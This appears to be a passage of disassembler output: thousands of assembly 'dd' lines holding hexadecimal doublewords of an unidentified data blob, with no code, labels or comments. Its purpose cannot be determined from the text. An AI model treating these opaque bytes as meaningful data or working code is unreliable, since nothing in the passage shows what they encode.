dd 0C1C82CB5h, 0F1958042h, 0BC5A1B41h, 3DACBA01h, 47D04B2Ch dd 44406DC9h, 1E936E81h, 6A1BEA1Ch, 336F0068h, 3156A9BBh dd 0FF605F35h, 0D4167661h, 153219F4h, 0D813B4B5h, 9D00D7E1h dd 8DF74B0Dh, 3B5795D8h, 760607BBh, 7199B547h, 10E58900h dd 18EE428Ch, 960D00CCh, 7A6D8314h, 6560A99Dh, 2F68428h dd 68B80015h, 0CC1D965Ah, 380BECFDh, 80F977E5h, 0CE3A7B58h dd 0D0FBA0A5h, 4768A09Ah, 0C93200C5h, 45BB0CF8h, 6A039D57h dd 0E436718Fh, 0F4293E66h, 7304E0BFh, 9002BF81h, 79B2E40Ch dd 5ED720C0h, 0F03C08B3h, 45CA38D9h, 0D2CB599Eh, 96000080h dd 0DD3A7395h, 5680AD78h, 9DB100B5h, 4BC25449h, 0BC0C8D2Dh dd 203840FAh, 40C54881h, 2D489480h, 0B460E356h, 0AAAFBE71h dd 2B520092h, 28D131D4h, 0CA03161Bh, 73BA5ADEh, 1362034Ah dd 5DE46B82h, 400BC901h, 94BAD2B1h, 24E5FFC4h, 3E08A3DDh dd 18EFE454h, 3197D245h, 9B14F695h, 80F4FAE5h, 0A77D86A8h dd 0B76704B0h, 253FDF42h, 20827201h, 68200194h, 668928D4h dd 207A48E8h, 0D94EC5C6h, 28730C01h, 0E6FABB1Ah, 0BD816186h dd 3A24213Ch, 5640A0E1h, 3A659215h, 25242DDFh, 817647C0h dd 20B91989h, 50846854h, 0EADBF27h, 6B94BB56h, 61E46C83h dd 0A4F82105h, 9D87845Fh, 0B757FC00h, 0D0AE6696h, 0C0A1A1B4h dd 25F105Eh, 0D0228B3Eh, 0B94A0062h, 565C3A3Fh, 0C53ACC1Eh dd 0D1D3005Eh, 0B0B6149Eh, 2EAEE6EAh, 1CDEB60h, 0B947F6D9h dd 0B0544799h, 3FDD8E4Fh, 0C8C51E3Dh, 6DBC0270h, 0A04C9D77h dd 0E3B3A484h, 26E50090h, 1D44F252h, 0FB9A650Fh, 0A7627806h dd 0A1A13A39h, 0A810B44Ch, 0FB008A12h, 11BECD1Bh, 543790h dd 0EBAA8663h, 4FE97285h, 81A5B506h, 10414BB9h, 787FF931h dd 8B0D8E0Eh, 0F5D822F7h, 0BBC4809Dh, 0DE43F660h, 39539871h dd 0C203CFD9h, 6503B3B9h, 0DF89E074h, 204F608Ch, 69C4DB14h dd 88C15F02h, 46B74756h, 0D24940C4h, 0BB039113h, 84F60C00h dd 49B78135h, 8900F4F5h, 39C430E2h, 2D494AE5h, 44BF3818h dd 91E4h, 0EA0A2AA6h, 4F4C0C1Fh, 37F00C38h, 88AD5181h dd 94A8B5E4h, 4400714Fh, 0B16DCA33h, 7D61507h, 0B65C96A4h dd 0DF8A6045h, 68CF5453h, 72A54069h, 0A06BCF46h, 90DEE60h dd 14DF416Ah, 97CF2010h, 1039588h, 96CE1BBAh, 2472943Eh dd 0CA07F218h dd 0DF7BBC64h, 1B610Ch, 65AAEFB7h, 0CD199A0h, 5539FA01h dd 57AE0A42h, 9675BF8h, 6BCE47CDh, 0DC7BCCB1h, 50008571h dd 313E97CBh, 24709FC9h, 1804328h, 1558FA83h, 819448E3h dd 79743100h, 3511661Fh, 4790A0A4h, 0E43A8064h, 7C307741h dd 5C7C1FC1h, 0E881E02Dh, 2C32E3h, 678986DEh, 666D509h dd 0AA034158h, 0D895F11Ch, 6D4F2F6h, 0E31BEBEEh, 34A63936h dd 900C5B0h, 65EBF0ECh, 609E483Fh, 0E3118904h, 9600C5F5h dd 44912C05h, 0A00CC018h, 0B00B25ECh, 0C95704C8h, 0C882E039h dd 0DB0C1E18h, 28179D6Ah, 49BB7CE7h, 61223C41h, 188498C9h dd 3A21B004h, 410045F5h, 0F7861332h, 0C70F9ADBh, 746089C4h dd 0BFAF10B0h, 90425048h, 4318721Dh, 0E2B55890h, 0D515DEB0h dd 22ACA348h, 9589185Bh, 7824B9CFh, 2519C801h, 2D5F6A15h dd 8EC0A822h, 5B5CAE12h, 0B165D100h, 0B881978Ah, 0D46248B7h dd 17807A88h, 0D177E042h, 0BD7686h, 1B321447h, 7E2415BCh dd 9B00EAF0h, 85810E0Dh, 0B14F0D8h, 0B7C4BA2Bh, 6596C100h dd 83180653h, 329A0EAh, 7F48FE8Eh, 4C6F0ECAh, 7760E37Ch dd 166E958Ch, 0FA1B527Ch, 0C831C406h, 60EAB5F1h, 0B94611D3h dd 8700AAF5h, 69BF5D3Dh, 7582EB9Bh, 0A05600B2h, 4B500978h dd 1C1808C4h, 6138CE89h, 20EA13ABh, 2F6300C0h, 9F8AAE30h dd 6FB25601h, 0B87C61E6h, 0EDCE6080h, 0AE8BC34Ch, 0FA3F7B00h dd 238355F3h, 0DDB1F48Dh, 8032D058h, 0F355A329h, 56F40123h dd 0A7EADB90h, 4B218381h, 0F8E7E8ABh, 1864C0A0h, 69114494h dd 5100C48Ah, 6240F98Fh, 500AE4ADh, 0A6829866h, 7F2207ACh dd 80C59CCBh, 0F06C4E45h, 0A503F3B0h, 7B824083h, 4B512E0Ah dd 5D1701A3h, 0F01EB133h, 6200C950h, 437D2EE5h, 6563B4Ah dd 0EA2F0544h, 7B3361A1h, 0C34F4145h, 7952D895h, 949C0F53h dd 0B2A7ADFEh, 98CCDF97h, 0EA1C0D29h, 0C5C15FFDh, 0C762749Fh dd 58C84FD4h, 63000A58h, 93057E9h, 84A8857Ah, 7CA05094h dd 79607B08h, 90A66019h, 9759CF0Fh, 8EEDEBA3h, 51098B98h dd 1C23C106h, 3193A7h, 419C396Bh, 3EE6AF76h, 50081ECh dd 0EAE5A307h, 0E84C8055h, 0CB603CBDh, 0A2EB290Ch, 0C2008CE9h dd 0ECAC3505h, 37DBE218h, 40785C32h, 0A2AB5A33h, 6880F037h dd 304DFD00h, 3A1800C9h, 0C0983B0Fh, 1C731B06h, 7C92D414h dd 91551DF8h, 599AC500h, 1DB953h, 8FF3FD9Dh, 2F7119B8h dd 8EA6610Ch, 0EDA7E10Ch, 1D33C980h, 7FD39784h, 0DA78B3A0h dd 81F34A00h, 0DC5108AEh, 8C665223h, 7C024401h, 43A0F5F4h dd 46E478A0h, 0A3E12694h, 4C706E5Ch, 0C4B0007Fh, 0D42A62C0h dd 1B7A0600h, 0EABF598Dh, 8AA73310h, 7889941h, 4A3C2D2Eh dd 232B0FD2h, 0CDEA06EEh, 9D150059h, 0A0BD4E21h, 59006AD2h dd 44633180h, 3D5E298h, 0CA2F0229h, 0C0AE4D0Eh, 0C2918D00h dd 0AAF26D43h, 2F1507E1h, 0C8CA616h, 6B1D2EB9h, 0A0705D5Ah dd 910CFA67h, 8FEB80F8h, 0AD1ACC98h, 8D245F06h, 1418B1C2h dd 7828942Eh, 62C6C407h, 87117C83h, 0BEF8F0Eh, 0A58B61A2h dd 718A0185h, 53005F9h, 5EFAA37Fh, 0EA2D03F4h, 1983C834h dd 2A744CE8h, 0BB4E1701h, 8C8E097Eh, 1DA929A0h, 0B9102095h dd 1346C185h, 0A7BC200Bh, 28C0CB52h, 409C696h, 0FC9D00E9h dd 7D4AACC0h, 97EC3BA6h, 0A51EFA06h, 3081D48Eh, 236186A7h dd 0A103ACDFh, 4351249Eh, 0D019507Dh, 0D06A880Fh, 0ABD15400h dd 0F112C0EDh, 7CA31B55h, 0F2B82107h, 4D004206h, 0C2393524h dd 48056884h, 0A522F86Bh, 0A10E1E77h, 80E0A0ACh, 0BDFB5D71h dd 984E0EBEh, 3854944Fh, 44C9F306h, 77DF050h, 8BEE7A0Ah dd 57C04CC3h, 4C62604Fh, 44146041h, 7C569E32h, 9F31F93Ch dd 0C293A539h, 0CB0F0C82h, 0A6324E20h, 1A2A1294h, 92CC5E02h dd 85CD1E61h, 27A2A9C6h, 74C400E8h, 0F71E7EDBh, 1970A323h dd 44B324h, 6236C1D9h, 8D67EC0Ah, 0C52E3Eh, 9C06FE8Ah dd 0C4A7324Bh, 9055668h, 90810A2h, 0D41A004Ah, 0B64CD693h dd 0C0010B57h, 8D899427h, 21D2A7CEh, 6A1D9540h, 4B27F100h dd 50383080h, 483DEAF2h, 586328E3h, 0E1148204h, 2284CB0Bh dd 83F4A1A3h, 62268432h, 7C9E00DFh, 94A58AB0h, 7F044E58h dd 60EAD140h, 501939A9h, 71F83136h, 0D3095200h, 4488C182h dd 9FFD0014h, 439739CEh, 0D0A8067Ch, 0FF02C509h, 2BE46AF1h dd 0BF84C073h, 680A4884h, 8EEB7600h, 82092480h, 0B97186E1h dd 4018EAAEh, 0D2416431h, 548B6820h, 2451989Ch, 14F02A57h dd 2102FC6Bh, 3691A5E8h, 0E92E94A2h, 7C0CDCC4h, 0C229F6DAh dd 0F8EC5085h, 0DD0100C1h, 0EAC4FC37h, 31F02F1Bh, 40A3E03h dd 0A2F9BB19h, 0A004E662h, 339AB78h, 4C96E78Fh, 0B87C3DF2h dd 9C2610B1h, 5C0BC06Eh, 86191Ch, 8E539651h, 627BB1BDh dd 0FA3F2492h, 0BF6D83A4h, 0B0EC58DAh, 28BC78h, 0BB72DE15h dd 4A9EC84Dh, 3007A324h, 9D111380h, 281993EFh, 50907F0Ch dd 4170D456h, 0D4C021C4h, 46B06BA8h, 0F9EC8450h, 10380348h dd 0ED280F88h, 9FB1C0A2h, 85BA7516h, 0CD8A6D07h, 0AE40F99Ch dd 30456748h, 0DB40619Dh, 0E8442A93h, 438E143Eh, 0B411CC03h dd 0AE5500C3h, 0EA9FABD6h, 15B6044Eh, 0C1F63F8Dh, 330EF9F8h dd 0A4F42A80h, 0C7007CA6h, 0FC4D39C2h, 18DC44Ah, 31E4C97Ah dd 208954F7h, 1215EC10h, 2840498h, 8BB7E97Ah, 8FFCA240h dd 79A602E1h, 2A659300h, 5F82459h, 0A7004BFCh, 449C173Bh dd 7C546404h, 7C88121Ch, 70801763h, 8084144Fh, 100E0210h dd 9408CAC4h, 0D8280751h, 0F18980FFh, 9DDF62BDh, 9763F32h dd 892D8CCh, 35964064h, 80A76808h, 0CFF4EEA1h, 96007A7Ch dd 0FA51069Dh, 3E1F62E3h, 0D10B012Eh, 70006C30h, 0EAF96BC7h dd 0AC3E58B2h, 62590531h, 0C4AE61EEh, 0AA8D0B9h, 70B97C65h dd 0D900381Fh, 0FBF659D8h, 820815ADh, 0B224C8Bh, 0A856F300h dd 4687EB31h, 0F8982A0Fh, 0A72C00C8h, 0D816E2B6h, 9612C4B9h dd 2023A668h, 0C4F0C20Dh, 170C00D0h, 0CA0BE02Fh, 985C0855h dd 1F686259h, 8ED0503h, 1B839A80h, 0E05B8043h, 0F751B3h dd 6A824038h, 0FF7B9525h, 918AAF02h, 0E1201986h, 55D00C28h dd 0E9376BFh, 1B128C04h, 10510EC0h, 0D49899CAh, 3B3CD700h dd 4495363Fh, 0A279C6D3h, 9B0ED1FBh, 0A9CF844Fh, 0B7558001h dd 0C4D790C5h, 2A8758h, 102E1B0Bh, 1ECFF4E9h, 6E9926EAh dd 8A642910h, 80A490A7h, 70E2BFF8h, 36F4E0E4h, 9804D9E0h dd 0EE3B3D48h, 4C0EC0A2h, 0E7C058E1h, 0F9AE7010h, 2F28B1EAh dd 5D20A819h, 0ABFC837Dh, 6BBBF871h, 0BA98D0EBh, 0AE002458h dd 77C6B875h, 0E2223F11h, 0D2DF00D3h, 1C672386h, 1F00A7CFh dd 7E2B5035h, 1DEF6E1h, 6328196Ch, 24128D52h, 0E910F214h dd 0E6580E36h, 0AD4E7109h, 8BD0E100h, 1900FDE0h, 0BB283EF8h dd 16D0ADDh, 2EFE1BB4h, 345B7C12h, 400C55Ch, 85C63A1h dd 1F57CC1Eh, 8CF5A5h, 380EFE03h, 4F4A9537h, 7962B82Ch dd 0E9FE251Ch, 0F8C500A0h, 4E01D5ADh, 0F1D626C0h, 0C4F88BE7h dd 0DB3B0793h, 31442151h, 2091B7ABh, 2F2485ECh, 0ED610010h dd 76C8B88Fh, 24170194h, 7BB0EAC5h, 0C9818438h, 3A80782Ah dd 34B4736Ch, 0D03FBCh, 0CD507510h, 961FEAD9h, 1D422354h dd 0E105F60Ah, 0A511CE10h, 22802686h, 8C7B522Fh, 0CF823E00h dd 9E5A69CAh, 0F1DC6100h dd 457BEC19h, 2DD41734h, 0DDC08C0h, 7C689740h, 3211CBD5h dd 4440ECA4h, 6090F9A2h, 9186Eh, 38D8D3A8h, 0B9649B9Eh dd 500A997Ch, 0F013752Ah, 905A2E96h, 0C370C141h, 0A2FEBFCh dd 64BF5108h, 5122698h, 88A33E09h, 0AE0068A4h, 8EEDD4D3h dd 78FF1D5h, 0CACC7039h, 215E900Ah, 0F4962294h, 1928D80h dd 19C964Eh, 9D335261h, 46D24F93h, 8000786Ch, 0AB178E79h dd 52CC2F1Ah, 3F32D850h, 5C513929h, 33517A00h, 5427939Ch dd 3A08B437h, 7D40828Eh, 96BC5109h, 78F48483h, 0C107D855h dd 0E0AB62BFh, 738AC2DBh, 22FEDD13h, 20EDC490h, 0B88EA002h dd 0E32318B6h, 5F9418Eh, 9310D658h, 808C8C08h, 0C331CD45h dd 4800AC17h, 0EAF51829h, 8E7D2Fh, 0CFE91D3Fh, 0AF5A57EDh dd 6B44AA00h, 62CCB053h, 865497Ch, 1BE8214Ah, 937DD8A1h dd 0FC006DE2h, 1784858Ah, 9B2F5EEh, 15AE7947h, 0C47FCCAEh dd 887B86A6h, 0DB031EA0h, 0CFED71DAh, 1819E3EEh, 61D5A219h dd 1E00B4D6h, 0A94EDB99h, 2C38F4ADh, 31CEE61h, 6894962Ah dd 30CC67D8h, 54092313h, 86298C88h, 100A7942h, 82D81AB9h dd 417D553Eh, 529A70C1h, 0FC5161D8h, 98FE9C00h, 0E3E26Eh dd 46854EC8h, 57F6EAA9h, 535FEF00h, 8FA6221h, 18E8A47Ah dd 4009BBB6h, 832A064Eh, 14442C66h, 4F253F9Ah, 0F66CF100h dd 0CA9DEB5Ah, 8E061213h, 8C434088h, 140B0802h, 44448693h dd 991CF438h, 0CCEA0CDCh, 51037F31h, 0E6B6D14Ch, 7A4E346h dd 0A325D719h, 4773206Ah, 0DC019285h, 288A4877h, 39F84C87h dd 8E100396h, 567A2E0Ah, 0D0EC3CF0h, 0DF5DF2B0h, 7DB90088h dd 0F65C2F96h, 689507C4h, 4F9544Ah, 7BC0D23Ah, 74CE80A0h dd 970007ABh, 374AB16Dh, 0CFF1D48h, 13BEDD9h, 0D8A49848h dd 8842800h, 0C74CAF16h, 1ADAFA15h, 0F807EB94h, 128B3459h dd 4F71830Ah, 667D812Bh, 8651FC5Ch, 0F8508742h, 8374B106h dd 0FE7585F0h, 0BD9BF880h, 0C68D8A14h, 6C9F2E84h, 1FDE1001h dd 798963A7h, 88902594h, 5092D6A2h, 34FEC10Eh, 0D402E047h dd 5C46D7EFh, 0BCC0A4A3h, 0F60419A6h, 0FC7AE87Fh, 78AE7A04h dd 3380D13Fh, 141BA20h, 8D0F2FFAh, 242C0A0Bh, 6CB9021Ch dd 83E4391h, 61198731h, 0B5C0D024h, 9C4B5112h, 190DC11h dd 0DAEC3138h, 0EC3274EBh, 0C304F908h, 0D5331282h, 0E63861DFh dd 997C980h, 5AA70AB9h, 21ACCB5Ch, 4051088Ch, 0E88E3280h dd 915508C3h, 5CE06F3Ch, 0BDD70274h, 7FC79D00h, 0B8941C3h dd 728DE8B8h, 8ABE00AEh, 0C4BC6D43h, 2F12F1A5h, 1840C7EAh dd 0E98FEE7Fh, 5F6A001Ah, 0A880A69Fh, 14907E62h, 0CB4D20h dd 8DE86F95h, 0B3011D72h, 0A022520Eh, 4732A05Bh, 6B9A853h dd 16A617D5h, 6225F10Bh, 741CC3h, 191C3A15h, 3E10FC23h dd 40BCB648h, 0F9123978h, 6C28370Ch, 2BAB0FE2h, 0FA41BD87h dd 0C46A6CE1h, 0F52AE68Eh, 6024C829h, 0EA43F883h, 0BF85D8F0h dd 96C4026Bh, 0F8FF496Ah, 23805EC0h, 65AE94A8h, 0B1005CB1h dd 5CA82BEAh, 0CC8D005Ah, 134E0F3Ch, 0BD0F9412h, 0A16B459Bh dd 0C622277h, 727BB052h, 38030F4Ch, 59AF52D7h, 0F9368F80h dd 8B1A812h, 9887F31Eh, 17CEC4D9h, 0EB230420h, 0AAD03E97h dd 98BFBE0Eh, 0C5317567h, 0A984094Dh, 830050EEh, 8E46498Ah dd 96509533h, 0E555420Ch, 85EB2CE1h, 9E09F9D1h, 1502004h dd 5B6B8500h, 2F07AFDFh, 0CFE865DBh, 0C9B5A09Fh, 9EDAB7Eh dd 36E70816h, 6E44F880h, 0A6247225h, 93406C8Eh, 5808AB68h dd 86CBA854h, 5F035C4Ch, 7B8BEE3Fh, 30197D0Ch, 0D9D6D0E5h dd 420FD492h, 229F5EF1h, 8A269446h, 2C228420h, 0DE75290Bh dd 44488BBEh, 0BB12009Ch, 19E940Ah, 0ED007769h, 245A42ABh dd 90C7FCC1h, 0A4F648D0h, 32C2A3Dh, 0C938E0A0h, 0CA01AC35h dd 8C0787E9h, 7FD020F6h, 411E00A6h, 0C4AD59CCh, 131C01A4h dd 39015AD9h, 0A58C55EBh, 0A81F06Ch, 0D109FF83h, 8429F1h dd 0ABF2DF1Bh, 0E658D62Ch, 79AC007Eh, 0F1CC44A0h, 51075642h dd 0C4160655h, 0EE5E7A30h, 23870B6Dh, 64628066h, 34009846h dd 0D43386FDh, 56B12Ch, 0D5EDCD41h, 3B8EA5C0h, 0EF989C3h dd 6881512Ch, 594120E2h, 76007B09h, 3001EADBh, 7DF3C97h dd 0F3EB199Bh, 0C523C355h, 90B2EDh, 7A657369h, 4A3EECE2h dd 84AC41EBh, 0F890DA61h, 3C00E4A2h, 57D2458Dh, 0E4E6444h dd 8CD6EA23h, 1644396Ah, 0C2A01D35h, 9C0FF85Fh, 0F9F88CE6h dd 0A9D4F00h, 0E1A322FAh, 36153C83h, 3A901105h, 9C2C88A7h dd 0D778E300h, 0E924454Ah, 1381266Ch, 1B82180h, 1F8716BFh dd 279740B0h, 11E62B8Ah, 4F544000h, 0DF457BAAh, 0FAB8A0A2h dd 0BC15517Ch, 0C09C1878h, 0C8991F14h, 9800F770h, 0A21BD990h dd 2883B54h, 0DF529F4Ah, 78C13D83h, 2A61108Ch, 0E3E9885h dd 1DA6EB04h, 2F6C9856h, 6834BE07h, 0E8301465h, 4FD7A80Ah dd 0B4040D8Fh, 80247C49h, 9D8AC51Bh, 0B0FEE6B7h, 0AA72000Dh dd 0DFDAA389h, 9416EC24h, 6887F4A7h, 0AC881B64h, 81E89EA2h dd 575B3FAAh, 0F764E82Ah, 0C408554Eh, 69C680F9h, 0CB8DFF7Eh dd 64A3CD05h, 0EC83D351h, 0F910C8ECh, 0AB557806h, 7945DAD4h dd 9C4F0034h, 0BB3EF5B5h, 0E338CF00h, 6E1EC4D7h, 0D8A6EBh dd 9A28C181h, 9F29AE67h, 3D452000h, 3A8F8403h, 49067296h dd 0CD30CC12h, 517808C1h, 0CC8634B2h, 86064903h, 0F0DC9373h dd 78844Ah, 97F9E045h, 24D170A0h, 29945316h, 41D1C30h dd 80BCB2A2h, 48A37F24h, 0C8E9413h, 498229Fh, 8329B212h dd 3B404814h, 0C3584C09h, 0F0E26A42h, 0B9743Bh, 5905A5CCh dd 0BA583E75h, 973DFCB1h, 4C80C8Bh, 20834E2Ah, 2FE01CD8h dd 6559A400h, 8262243Dh, 0FC74B8E5h, 8058B498h, 0B9E37705h dd 6006088h, 0A4CA2FE8h, 50BF9391h, 6F1EC2A3h, 222AA018h dd 654A58FCh, 9FE1BF02h, 82DE995Ah, 90E9E84h, 8A16D0C8h dd 0D05C8971h, 0A12A2268h, 0C5174324h, 0CB74D880h, 22E02E58h dd 17609814h, 0A3CDCCFh, 8080A020h, 0C33E4B9Dh, 96004A6Eh dd 4875B8A1h, 5D1EDFh, 0F8FD018h, 3EA74C55h, 0F987E099h dd 1170A848h, 0E4A1FD2Dh, 4B5E0D1h, 29C585F2h, 0F84E286h dd 40573E1Fh, 2B92C8FBh, 7F970050h, 4DC4A3ADh, 0A71801BDh dd 25D1C3EEh, 7A228407h, 0B18C88Bh, 8541C481h, 688BC216h dd 0C1389A5h, 1427F028h, 0EB06552h, 239E37A4h, 928AF83h dd 7E7C630Eh, 219C2CCBh, 2E529B6h, 4A87002Ch, 22E380CDh dd 0B2A0545Fh, 78000B6Bh, 645510A1h, 28E5399Fh, 45CCA363h dd 4BC4C8Dh, 0D9280600h, 58653963h, 1A9D0055h, 2E1D2590h dd 0C267A618h, 92900DB1h, 62A59Ch, 7622A98Bh, 7A31C784h dd 0A015E400h, 988C0DC0h, 8FB300F3h, 53F6FE9Eh, 0D5241B29h dd 0E10B4EE2h, 38450C10h, 1A56883Eh, 0C1403D00h, 45C8DE04h dd 1260031h, 15F4932Eh, 0F8037A32h, 34B94EEFh, 0A2C1C897h dd 0C030FEE7h, 136E2A88h, 3D803214h, 7B9EE64h, 521D02Ch dd 6BC03F36h, 7BAB7D53h, 793AC730h, 1192BF9h, 98C3B003h dd 0EC091F4Eh, 300C4313h, 29DCC6DFh, 716D2812h, 728E0030h dd 538F63B5h, 1E656B6Ch, 6800C619h, 6725D37Fh, 0EC2E0010h dd 4DC06320h, 93101F2Ah, 570016B7h, 0D0DED117h, 0AC02E99Fh dd 0B94FE2ABh, 5D92E065h, 255C00AEh, 36D57515h, 84A9F993h dd 0C25AF0DFh, 0C7E50100h dd 6719C57Eh, 0D5873B38h, 2CEF1D03h, 880675B6h, 0E6C6D32h dd 65C201A1h, 3935E71Ch, 0FFCEC9BDh, 0D22D2900h, 8B7D6F69h dd 0AFDC1234h, 0F0CA031Ch, 0B6988F8Dh, 2C0FD664h, 0E282B281h dd 0A7EF61BDh, 2EA0DE78h, 347177h, 0AAB73A40h, 0C03D28BEh dd 0F5B2C203h, 0FEC6DC75h, 0C1E50031h, 0D6B62D8Bh, 6206DD6Ch dd 1792F988h, 0C0391521h, 840594C6h, 208C9605h, 2D60BD9Ch dd 97FB6F2Eh, 9B31E300h, 0D3C7A0h, 0A36BB69Dh, 8B6A5675h dd 3600F4A6h, 0DA40DD8Ch, 14C896DCh, 8C686DFFh, 0A2665680h dd 2B14A6E2h, 3890EB7Bh, 92B8D4EEh, 0F5888F0Ch, 0A474B008h dd 8816FAACh, 7D0A8AAEh, 0F04A5CEAh, 4502DB6Ah, 6030BF02h dd 1C921F00h, 9D5B3E49h, 48073D1Eh, 0DC130F7Ch, 0F800ED49h dd 49BCAC5Ah, 88A5DCh, 0A9B1BF96h, 272EFF34h, 81709730h dd 8DE87h, 592A9343h, 20147D4Ah, 115849C0h, 0F2C7B6h, 70BBEDE3h dd 8A1A1C4Bh, 16A0A51Fh, 84C0699Dh, 74E58636h, 1B1F3CBFh dd 82C53400h, 0F7419C8Fh, 2A9A509Dh, 1284EC09h, 203D95F9h dd 262E1B88h, 2D4880F9h, 79B98A81h, 706D181Fh, 6FC68924h dd 0B3003092h, 0F8A8B803h, 115957h, 6290C882h, 0D936D88Fh dd 7F1A520Fh, 0A43138C7h, 8E373A14h, 0CE1F0B03h, 0E9E83E2Ah dd 8D71D7D2h, 0DF01C57Eh, 0FA7E7390h, 99853B95h, 4F1EC39h dd 213FA658h, 1980EF93h, 0A8DB846Ah, 4001D2E1h, 7752EDC7h dd 0E8490BC0h, 960BFDCh, 745F5868h, 41335484h, 7699DA1Ch dd 34004C31h, 18E903Fh, 1F82BCEBh, 8328131Ah, 8815FC49h dd 6301C0C5h, 1E5F0AACh, 71CEE93h, 1072C789h, 0ACD0C5AFh dd 0F9709861h, 11440A9h, 0B42D3397h, 113C2272h, 35261073h dd 16A90158h, 8C66F639h, 21211319h, 99980060h, 38CD6A0Ch dd 1000497h, 0FA07F887h, 14E6DF31h, 9C74ACC7h, 0F0C111h dd 0FA58A884h, 0C1FC613h, 4A21607Dh, 0A7302D08h, 4B598988h dd 0B3CD00C6h, 2A74A81Bh, 3003769h, 892D83C2h, 248F91B8h dd 590107Fh, 41BD9322h, 2E445CB0h, 5E67FCEEh, 0D8E7AF04h dd 89D03477h, 182AAE92h, 68ED689Ah, 5300761Ah, 0AF35C53Ah dd 24F8BA45h, 9F146592h, 0DA91F0A7h, 0F600B2DDh, 0C5A672E9h dd 0F994F975h, 0EA220C23h, 0C42EC90h, 0E89A76h, 0BA21CDEh dd 63556D1Bh, 0F736C18h, 24A7C241h, 21F0E933h, 767080E0h dd 2CD50688h, 8967B231h, 2181F393h, 3C6B48B0h, 0B295F03Bh dd 4B736400h, 97304150h, 0D37212CAh, 3A24304Eh, 26E68288h dd 70649E8h, 41A735F0h, 1E8D0059h, 0F28F036Bh, 0CC0A059Dh dd 0CC20522Ah, 10921289h, 0EC81E70h, 0C6F7AAB0h, 0D2642AE1h dd 207BE9C3h, 8C0E81F0h, 2C6D025Dh, 522CE12Eh, 1A2EECBDh dd 101C1A68h, 410CBAh, 414E1040h, 45889824h, 9C641065h dd 5D7D5806h, 595431B8h, 6F526D98h, 0C65600A8h, 0B235E037h dd 8F3300B6h, 10759580h, 0A3631A5Eh, 0C4BF0878h, 0B1300A12h dd 8A9E4050h, 1F48DFB4h, 52B00550h, 0F020F63Ah, 67CA90DCh dd 0D8B6D876h, 2711F8A4h, 0CF603537h, 0A4AF2491h, 2921690Ch dd 40228B73h, 1487117Bh, 0C8227CEDh, 0F8933066h, 217E0349h dd 2B87C103h, 0C076DADDh, 1C472AE5h, 0D3C245E8h, 44D4505Ch dd 0D85EA305h, 0D1D80244h, 0F0620247h, 8300A814h, 1934DAC9h dd 30A14D42h, 6D411312h, 0D1090C90h, 22AAA711h, 0C16E8750h dd 243076A8h, 64A78806h, 19D159C0h, 0F4E595Dh, 0AC1D188Bh dd 4B0120C0h, 172CBF3Eh, 7790C8B5h, 4A039022h, 0F2A8DF3Bh dd 0B8085876h, 6000E02Eh, 9D688428h, 33FFE900h, 0A1C21327h dd 98A715D3h, 6B10C0E8h, 1C308129h, 50A4A98Ah, 671F6058h dd 0E9008071h, 0C604F87Dh, 0E1B6F90h, 53B93117h, 0F94CA900h dd 6CA13C8Fh, 52401773h, 1BC3A9Eh, 0C1BF7C62h, 72A72288h dd 60510384h, 0DA0DB1B4h, 4CC4C7h, 9ADA6C70h, 3FABC338h dd 19913303h, 0F2C14A1Dh, 3DC48201h, 2C130316h, 9705A900h dd 0CBC1FA14h, 77B70094h, 3D6F6822h, 0F9131AF0h, 7830869Ch dd 0FF275Fh, 634AF577h, 0F1B22BF6h, 8A375700h, 80248B1h dd 0B0C1071Fh, 10FB122Ah, 0B62E110Dh, 84E8AF5Ch, 934778C8h dd 0B0048F6h, 1BE0F857h, 8DDE0B03h, 860196D1h, 402989C3h dd 61BE51D4h, 7BC740C4h, 0B8581054h, 0A49153C9h, 7B99106Bh dd 0BB060068h, 8ED7526Eh, 0EB00C3B0h, 75DC1CDBh, 4A2CE03Bh dd 773021B4h, 4DA4760Fh, 8F850000h, 731B55A9h, 7B3F2572h dd 947FD010h, 0A4A57909h, 898C1907h, 25855030h, 1428978Ch dd 0AFE360E0h, 921DE546h, 1A00C0E9h, 931F7882h, 405B6991h dd 0CC393484h, 6600E304h, 99E5D01Fh, 2EF82351h, 245C579Ch dd 8087017Ch, 841B32Dh, 3F9011F9h, 34C5147Ah, 0DB8E17C0h dd 5914344Ch, 9DAA0FE4h, 64A18065h, 30578476h, 78B9EC68h dd 478D7C80h, 16BA5ADh, 3F7F952Eh, 0C48F6AE3h, 1A09F236h dd 8222AF51h, 64169644h, 0A7F744B0h, 3F09DFh, 0E08DCB12h dd 0E8702605h, 11B8074Eh, 601DD76Dh, 150F873Fh, 2CF43705h dd 0F42749B1h, 2430082Bh, 36898205h, 6088BBC2h, 0E82CC178h dd 803D52A7h, 0E1221318h, 0DA009BA9h, 3D5D4104h, 881210Eh dd 6DC66203h, 0CE221180h, 8FC19Eh, 79F23DACh, 76031C17h dd 89E8FC0Eh, 71AF046Fh, 0B4C8F4C5h, 0AE8A4A8h, 0C68E541Ah dd 8AF16F8h, 8484F134h, 0F4C73005h, 0B9D112C0h, 51E10C3Eh dd 0AEB8C175h, 6D4B5209h, 0C6784970h, 0A7000029h, 24604077h dd 0F40079BFh, 81409F6h, 6012B38Fh, 7C6F3126h, 720011C7h dd 0A9AF13DBh, 0E462CC4Dh, 2B883F77h, 0DD804048h, 0A72CECB6h dd 222DD412h, 369C1440h, 1D842A14h, 0C07F1B25h, 11C498BFh dd 1222213Ah, 0F446001Fh, 2552671Ch, 9E005B1Eh, 0C3A21DDFh dd 0FAEC4F29h, 0FC10520h, 5279BE2Dh, 11F4888Ch, 1ACDE806h dd 74683Eh, 0A0518F7Dh, 0B6BDC9C1h, 0A85DDF0Ch, 65396Fh dd 94A146Ch, 991952F4h, 76F7C200h, 8934841Ah, 8E583D46h dd 0AD8C98Eh, 0A60C1BE4h, 15E01078h, 580605Ch, 19A098D3h dd 0C3DCB300h, 898779C2h, 904854CEh, 9E5E0013h, 0CB6C4EE1h dd 0B8183E42h, 72412D12h, 6AF338D0h, 0F2D8A800h, 29D10ECDh dd 0BD6839h, 0B30DAF86h, 4A6494F8h, 0F2D44875h, 21A31880h dd 0ECD07Ch, 3368D771h, 9238B1BFh, 5592014h, 2AC102C3h dd 0AF6AC72Dh, 41F5CC84h, 9E75004Ah, 0D2DAD9AEh, 0EC26EDD5h dd 7B0748B7h, 54F01A4Eh, 3E216D1Fh, 0C78206Ch, 0C3D0FE98h dd 65CC788h, 2574223Ch, 0F890796Dh, 10BA3DBDh, 21EDD037h dd 0A8CD22D5h, 10701C12h, 7D0D0A90h, 0F15B92FAh, 0C0EB0020h dd 7290E3B1h, 8E5CF966h, 3193C2B4h, 5790685Dh, 596D60A8h 